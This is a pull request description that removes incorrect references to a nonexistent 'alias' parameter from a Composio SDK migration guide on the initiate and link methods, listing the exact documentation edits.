## What Removes the incorrect `alias` references from the initiate-to-link migration guide (`docs/content/docs/auth-configuration/migrating-initiate-to-link.mdx`). ## Why The `alias` parameter does **not** exist on either method: - TS: `composio.connectedAccounts.link()` / `composio.connectedAccounts.initiate()` - Python: `composio.connected_accounts.link()` / `composio.connected_accounts.initiate()` This was verified against the SDK source and the generated client. The doc should not claim the parameter exists. Real alias/label support may be added later; this change only corrects the docs for now. ## Changes - Dropped `alias` from the sentence: `` `callback_url` / `callbackUrl` works the same way on both methods. `` - Deleted the `` | `alias` | ✓ | ✓ | `` row from the comparison table. No other content changed (`callback_url`, `allow_multiple`, `config` rows are intact). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |